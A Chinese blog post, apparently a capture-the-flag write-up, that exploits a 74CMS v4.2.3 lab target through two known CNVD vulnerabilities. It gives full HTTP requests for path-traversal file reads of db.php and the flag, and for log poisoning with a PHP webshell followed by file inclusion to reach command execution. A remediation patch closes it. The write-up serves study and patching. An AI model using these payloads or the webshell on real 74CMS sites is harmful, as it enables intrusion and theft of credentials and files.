安鸾CMS系列之74CMS
涂寐 Lv5

0x00 前言

声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
本文首发于涂寐’s Blogs:https://0xtlu.github.io/article/52122537.html

0x01 题目要求

1
2
题目URL:http://106.15.50.112:8019/
提示:flag在服务器根目录下,文件名为this_is_flag

0x02 信息收集

  1. 站点浏览

Powered by 74cms v4.2.3
image

  1. 指纹识别

image

  1. 74cms 版本以及最早解题成功的出现,可以判断该题漏洞最迟在2019年10月2日前已经存在。

0x03 任意文件读取

  1. 漏洞须知

该漏洞(CNVD-2017-26183)为,74CMS 源码文件中某些函数( /var/www/html/Application/Home/Controller/MembersController.class.php_save_avatar 方法)设计不严谨,导致前台任意文件读取漏洞的出现,使得服务器敏感文件泄露。

  1. 直接上 POC

注:
①该 POC 中可以通过 members_bind_info[temp_avatar] 控制读取的文件, members_uc_info[uid] 控制用户 ID , members_uc_info[username] 控制用户名
②每次发起请求,用户ID 和 用户名 必须不与已存在信息冲突。

1
2
3
4
5
6
7
8
9
10
11
POST /index.php?m=&c=members&a=register HTTP/1.1
Host: 106.15.50.112:8019
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Cookie: members_bind_info[temp_avatar]=../../../../Application/Common/Conf/db.php; members_bind_info[type]=qq; members_uc_info[password]=gebilangwang; members_uc_info[uid]=666666; members_uc_info[username]=gebilangwang
Content-Type: application/x-www-form-urlencoded
Content-Length: 47

ajax=1&reg_type=2&utype=2&org=bind&ucenter=bind

image

  1. 图片名获取

① 在 /var/www/html/Application/Home/Controller/MembersController.class.php_save_avatar 方法中可以看到图片名称的构成为 $savePicName = md5($uid.time()).".jpg";
② uid 在 EXP 中已经构造,即为 666666
③ 可在上图中看到成功请求的时间 (格林尼治时间) ,Date: Sun, 20 Feb 2022 12:14:40 GMT ,即为北京时间(格林尼治时间 + 8 hour): 2022-02-20 20:14:40 ,转换为时间戳: 1645359280 ,得到 time()。
④ 两个参数进行拼接(6666661645359280),并进行 MD5 编码: ae3e81e2a19315a52d2c78fb2bfe666f
⑤ 注:成功请求的时间若不一定正确,可以在此基础上为时间戳 ±10s;不行,则修改 用户id 和 用户名,避免重复造成的失败。
image

  1. 访问 http://106.15.50.112:8019/data/upload/avatar/2202/20/ae3e81e2a19315a52d2c78fb2bfe666f.jpg ,另存图片后修改为文本文件(txt),即可看到读取的内容(/var/www/html/Application/Common/Conf/db.php

image

  1. 此处使用bp,那没有bp呢?使用在线POST
1
2
3
4
5
6
7
8
9
10
11
12
13
URL
http://106.15.50.112:8019/index.php?m=&c=members&a=register

post参数
ajax=1&reg_type=2&utype=2&org=bind&ucenter=bind

cookie
members_bind_info[temp_avatar]=../../../../../../../../this_is_flag; members_bind_info[type]=qq; members_uc_info[password]=admin123; members_uc_info[uid]=61337; members_uc_info[username]=a14mlpd

header
Content-Type: application/x-www-form-urlencoded

注:请求时间在 Headers 中可见,自观下图

image

  1. 读取 flag{6532638425abf9e9}

image

  1. 自写工具利用

利用工具:https://0xtlu.github.io/article/c48c7d63.html

image

0x04 远程命令执行

  1. 漏洞须知

①该漏洞(CNVD-2021-45280)为,74CMS源码中某些函数(/var/www/html/Application/Common/Controller/BaseController.class.php中的 assign_resume_tpl 方法存在PHP远程文件包含漏洞)存在不严谨过滤,导致可通过 构造恶意请求 + 文件包含漏洞,使得攻击者无需登录即可实现远程命令执行。
②74CMS < 6.0.48
③74CMS 不支持PHP 7.0

  1. 直接访问 http://106.15.50.112:8019/index.php?m=home&a=assign_resume_tpl ,成功制造报错则可在 /var/www/html/data/Runtime/Logs/Home/22_02_19.log 中看到当前日期下的报错日志

image

  1. 配合 hackar 插件访问 http://106.15.50.112:8019/index.php?m=home&a=assign_resume_tpl ,写入 post 数据:variable=1&tpl=<?php fputs(fopen("myshell.php","w"),"<?php eval(\$_POST[x]);?>")?>; ob_flush();?>/r/n<qscms/company_show 列表名="info" 企业id="$_GET['id']"/>

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    POST /index.php?m=home&a=assign_resume_tpl HTTP/1.1
    Host: 106.15.50.112:8019
    User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate
    Cookie: think_template=default; PHPSESSID=48286c655cac8771bdd6fdffc9e4762a; think_language=zh-CN
    DNT: 1
    Connection: close
    Upgrade-Insecure-Requests: 1
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 152

    variable=1&tpl=<?php fputs(fopen("myshell.php","w"),"<?php eval(\$_POST[x]);?>")?>; ob_flush();?>/r/n<qscms/company_show h
    ="info" id="$_GET['id']"/>

    image

  2. 包含日志文件(YY_MM_DD.log),使得在根目录生成 myshell.php 文件

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    POST /index.php?m=home&a=assign_resume_tpl HTTP/1.1
    Host: 106.15.50.112:8019
    User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate
    Cookie: think_template=default; PHPSESSID=48286c655cac8771bdd6fdffc9e4762a; think_language=zh-CN
    DNT: 1
    Connection: close
    Upgrade-Insecure-Requests: 1
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 50

    variable=1&tpl=data/Runtime/Logs/Home/22_02_19.log

    image

  3. 拿 flag{6532638425abf9e9}

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    POST /myshell.php HTTP/1.1
    Host: 106.15.50.112:8019
    User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate
    Cookie: think_template=default; PHPSESSID=48286c655cac8771bdd6fdffc9e4762a; think_language=zh-CN
    DNT: 1
    Connection: close
    Upgrade-Insecure-Requests: 1
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 35

    x=echo system('cat /this_is_flag');

    image

  4. 手写漏洞利用工具

利用工具:https://0xtlu.github.io/article/d95419bd.html

image

0x05 漏洞修复

  1. /var/www/html/Application/Common/Controller/BaseController.class.php 第171 行添加

    1
    2
    3
    4
    5
    $view = new \Think\View;
    $tpl_file = $view->parseTemplate($tpl);
    if(!is_file($tpl_file)){
    return false;
    }

    image

  2. /var/www/html/ThinkPHP/Library/Think/View.class.php 注释第 110 行,写入 if(!is_file($templateFile)) E(L('_TEMPLATE_NOT_EXIST_'));

image

0x06 修复测试

/var/www/html/data/Runtime/Logs/Home/22_02_19.log 清除日志文件,重复 0x04。可以实现第 2 步,到第 3 步就无法实现报错了,故隔绝了远程文件读取漏洞的实现。
image

0x07 后记

最开始,看其他师傅的 CNVD-2017-26183 复现,懵,领悟不出来
中间,利用 CNVD-2017-26183 getshell,逛了下,发现确实有师傅利用任意文件拿 flag
最后,信息收集到了,并写下了这篇笔记
感谢,留下信号的师傅;感谢,留下 poc 的师傅,感谢,坚持的我

 评论